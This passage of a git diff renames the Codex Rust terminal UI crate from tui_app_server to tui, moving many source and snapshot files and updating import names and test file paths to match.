codex-rs/tui/src/live_wrap.rs diff --git a/codex-rs/tui_app_server/src/local_chatgpt_auth.rs b/codex-rs/tui/src/local_chatgpt_auth.rs similarity index 100% rename from codex-rs/tui_app_server/src/local_chatgpt_auth.rs rename to codex-rs/tui/src/local_chatgpt_auth.rs diff --git a/codex-rs/tui_app_server/src/main.rs b/codex-rs/tui/src/main.rs similarity index 94% rename from codex-rs/tui_app_server/src/main.rs rename to codex-rs/tui/src/main.rs index ae61111437..8e0d817081 100644 --- a/codex-rs/tui_app_server/src/main.rs +++ b/codex-rs/tui/src/main.rs @@ -1,8 +1,8 @@ use clap::Parser; use codex_arg0::Arg0DispatchPaths; use codex_arg0::arg0_dispatch_or_else; -use codex_tui_app_server::Cli; -use codex_tui_app_server::run_main; +use codex_tui::Cli; +use codex_tui::run_main; use codex_utils_cli::CliConfigOverrides; #[derive(Parser, Debug)] diff --git a/codex-rs/tui_app_server/src/markdown.rs b/codex-rs/tui/src/markdown.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown.rs rename to codex-rs/tui/src/markdown.rs diff --git a/codex-rs/tui_app_server/src/markdown_render.rs b/codex-rs/tui/src/markdown_render.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown_render.rs rename to codex-rs/tui/src/markdown_render.rs diff --git a/codex-rs/tui_app_server/src/markdown_render_tests.rs b/codex-rs/tui/src/markdown_render_tests.rs similarity index 96% rename from codex-rs/tui_app_server/src/markdown_render_tests.rs rename to codex-rs/tui/src/markdown_render_tests.rs index 4c6472a02c..9594cd4840 100644 --- a/codex-rs/tui_app_server/src/markdown_render_tests.rs +++ b/codex-rs/tui/src/markdown_render_tests.rs @@ -668,22 +668,22 @@ fn load_location_suffix_regexes() { #[test] fn file_link_hides_destination() { let text = render_markdown_text_for_cwd( - "[codex-rs/tui_app_server/src/markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs)", + "[codex-rs/tui/src/markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs)", Path::new("/Users/example/code/codex"), ); let expected = - Text::from(Line::from_iter(["codex-rs/tui_app_server/src/markdown_render.rs".cyan()])); + Text::from(Line::from_iter(["codex-rs/tui/src/markdown_render.rs".cyan()])); assert_eq!(text, expected); } #[test] fn file_link_appends_line_number_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74)", + "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74".cyan(), + "codex-rs/tui/src/markdown_render.rs:74".cyan(), ])); assert_eq!(text, expected); } @@ -701,12 +701,12 @@ fn file_link_keeps_absolute_paths_outside_cwd() { #[test] fn file_link_appends_hash_anchor_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -714,12 +714,12 @@ fn file_link_appends_hash_anchor_when_label_lacks_it() { #[test] fn file_link_uses_target_path_for_hash_anchor() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs#L74C3](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "[markdown_render.rs#L74C3](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -727,12 +727,12 @@ fn file_link_uses_target_path_for_hash_anchor() { #[test] fn file_link_appends_range_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9)", + "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74:3-76:9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -740,12 +740,12 @@ fn file_link_appends_range_when_label_lacks_it() { #[test] fn file_link_uses_target_path_for_range() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs:74:3-76:9](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9)", + "[markdown_render.rs:74:3-76:9](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74:3-76:9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -753,12 +753,12 @@ fn file_link_uses_target_path_for_range() { #[test] fn file_link_appends_hash_range_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3-L76C9)", + "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3-L76C9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -766,13 +766,13 @@ fn file_link_appends_hash_range_when_label_lacks_it() { #[test] fn multiline_file_link_label_after_styled_prefix_does_not_panic() { let text = render_markdown_text_for_cwd( - "**bold** plain [foo\nbar](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "**bold** plain [foo\nbar](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ "bold".bold(), " plain ".into(), - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -780,12 +780,12 @@ fn multiline_file_link_label_after_styled_prefix_does_not_panic() { #[test] fn file_link_uses_target_path_for_hash_range() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs#L74C3-L76C9](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3-L76C9)", + "[markdown_render.rs#L74C3-L76C9](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3-L76C9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -805,7 +805,7 @@ fn url_link_shows_destination() { #[test] fn markdown_render_file_link_snapshot() { let text = render_markdown_text_for_cwd( - "See [markdown_render.rs:74](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74).", + "See [markdown_render.rs:74](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74).", Path::new("/Users/example/code/codex"), ); let rendered = text diff --git a/codex-rs/tui_app_server/src/markdown_stream.rs b/codex-rs/tui/src/markdown_stream.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown_stream.rs rename to codex-rs/tui/src/markdown_stream.rs diff --git a/codex-rs/tui_app_server/src/mention_codec.rs b/codex-rs/tui/src/mention_codec.rs similarity index 100% rename from codex-rs/tui_app_server/src/mention_codec.rs rename to codex-rs/tui/src/mention_codec.rs diff --git a/codex-rs/tui_app_server/src/model_catalog.rs b/codex-rs/tui/src/model_catalog.rs similarity index 100% rename from codex-rs/tui_app_server/src/model_catalog.rs rename to codex-rs/tui/src/model_catalog.rs diff --git a/codex-rs/tui_app_server/src/model_migration.rs b/codex-rs/tui/src/model_migration.rs similarity index 100% rename from codex-rs/tui_app_server/src/model_migration.rs rename to codex-rs/tui/src/model_migration.rs diff --git a/codex-rs/tui_app_server/src/multi_agents.rs b/codex-rs/tui/src/multi_agents.rs similarity index 100% rename from codex-rs/tui_app_server/src/multi_agents.rs rename to codex-rs/tui/src/multi_agents.rs diff --git a/codex-rs/tui_app_server/src/notifications/bel.rs b/codex-rs/tui/src/notifications/bel.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/bel.rs rename to codex-rs/tui/src/notifications/bel.rs diff --git a/codex-rs/tui_app_server/src/notifications/mod.rs b/codex-rs/tui/src/notifications/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/mod.rs rename to codex-rs/tui/src/notifications/mod.rs diff --git a/codex-rs/tui_app_server/src/notifications/osc9.rs b/codex-rs/tui/src/notifications/osc9.rs similarity index 100% rename from codex-rs/tui_app_server/src/notifications/osc9.rs rename to codex-rs/tui/src/notifications/osc9.rs diff --git a/codex-rs/tui_app_server/src/onboarding/auth.rs b/codex-rs/tui/src/onboarding/auth.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/auth.rs rename to codex-rs/tui/src/onboarding/auth.rs diff --git a/codex-rs/tui_app_server/src/onboarding/auth/headless_chatgpt_login.rs b/codex-rs/tui/src/onboarding/auth/headless_chatgpt_login.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/auth/headless_chatgpt_login.rs rename to codex-rs/tui/src/onboarding/auth/headless_chatgpt_login.rs diff --git a/codex-rs/tui_app_server/src/onboarding/mod.rs b/codex-rs/tui/src/onboarding/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/mod.rs rename to codex-rs/tui/src/onboarding/mod.rs diff --git a/codex-rs/tui_app_server/src/onboarding/onboarding_screen.rs b/codex-rs/tui/src/onboarding/onboarding_screen.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/onboarding_screen.rs rename to codex-rs/tui/src/onboarding/onboarding_screen.rs diff --git a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap b/codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap similarity index 94% rename from codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap rename to codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap index 12c1816db8..3c8c248c36 100644 --- a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap +++ b/codex-rs/tui/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap @@ -1,6 +1,5 @@ --- source: tui/src/onboarding/trust_directory.rs -assertion_line: 218 expression: terminal.backend() --- > You are in /workspace/project diff --git a/codex-rs/tui_app_server/src/onboarding/trust_directory.rs b/codex-rs/tui/src/onboarding/trust_directory.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/trust_directory.rs rename to codex-rs/tui/src/onboarding/trust_directory.rs diff --git a/codex-rs/tui_app_server/src/onboarding/welcome.rs b/codex-rs/tui/src/onboarding/welcome.rs similarity index 100% rename from codex-rs/tui_app_server/src/onboarding/welcome.rs rename to codex-rs/tui/src/onboarding/welcome.rs diff --git a/codex-rs/tui_app_server/src/oss_selection.rs b/codex-rs/tui/src/oss_selection.rs similarity index 100% rename from codex-rs/tui_app_server/src/oss_selection.rs rename to codex-rs/tui/src/oss_selection.rs diff --git a/codex-rs/tui_app_server/src/pager_overlay.rs b/codex-rs/tui/src/pager_overlay.rs similarity index 100% rename from codex-rs/tui_app_server/src/pager_overlay.rs rename to codex-rs/tui/src/pager_overlay.rs diff --git a/codex-rs/tui_app_server/src/public_widgets/composer_input.rs b/codex-rs/tui/src/public_widgets/composer_input.rs similarity index 100% rename from codex-rs/tui_app_server/src/public_widgets/composer_input.rs rename to codex-rs/tui/src/public_widgets/composer_input.rs diff --git a/codex-rs/tui_app_server/src/public_widgets/mod.rs b/codex-rs/tui/src/public_widgets/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/public_widgets/mod.rs rename to codex-rs/tui/src/public_widgets/mod.rs diff --git a/codex-rs/tui_app_server/src/render/highlight.rs b/codex-rs/tui/src/render/highlight.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/highlight.rs rename to codex-rs/tui/src/render/highlight.rs diff --git a/codex-rs/tui_app_server/src/render/line_utils.rs b/codex-rs/tui/src/render/line_utils.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/line_utils.rs rename to codex-rs/tui/src/render/line_utils.rs diff --git a/codex-rs/tui_app_server/src/render/mod.rs b/codex-rs/tui/src/render/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/mod.rs rename to codex-rs/tui/src/render/mod.rs diff --git a/codex-rs/tui_app_server/src/render/renderable.rs b/codex-rs/tui/src/render/renderable.rs similarity index 100% rename from codex-rs/tui_app_server/src/render/renderable.rs rename to codex-rs/tui/src/render/renderable.rs diff --git a/codex-rs/tui_app_server/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap b/codex-rs/tui/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap similarity index 100% rename from codex-rs/tui_app_server/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap rename to codex-rs/tui/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap diff --git a/codex-rs/tui_app_server/src/resume_picker.rs b/codex-rs/tui/src/resume_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/resume_picker.rs rename to codex-rs/tui/src/resume_picker.rs diff --git a/codex-rs/tui_app_server/src/selection_list.rs b/codex-rs/tui/src/selection_list.rs similarity index 100% rename from codex-rs/tui_app_server/src/selection_list.rs rename to codex-rs/tui/src/selection_list.rs diff --git a/codex-rs/tui_app_server/src/session_log.rs b/codex-rs/tui/src/session_log.rs similarity index 100% rename from codex-rs/tui_app_server/src/session_log.rs rename to codex-rs/tui/src/session_log.rs diff --git a/codex-rs/tui_app_server/src/shimmer.rs b/codex-rs/tui/src/shimmer.rs similarity index 100% rename from codex-rs/tui_app_server/src/shimmer.rs rename to codex-rs/tui/src/shimmer.rs diff --git a/codex-rs/tui_app_server/src/skills_helpers.rs b/codex-rs/tui/src/skills_helpers.rs similarity index 100% rename from codex-rs/tui_app_server/src/skills_helpers.rs rename to codex-rs/tui/src/skills_helpers.rs diff --git a/codex-rs/tui_app_server/src/slash_command.rs b/codex-rs/tui/src/slash_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/slash_command.rs rename to codex-rs/tui/src/slash_command.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap rename to codex-rs/tui/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__add_details.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__add_details.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__add_details.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__add_details.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap b/codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap rename to codex-rs/tui/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap similarity index 86% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap index 7360fd138f..2077da659f 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1740 expression: rendered --- • Calling search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap similarity index 88% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap index 776f792075..bb0b826bbc 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap @@ -1,6 +1,5 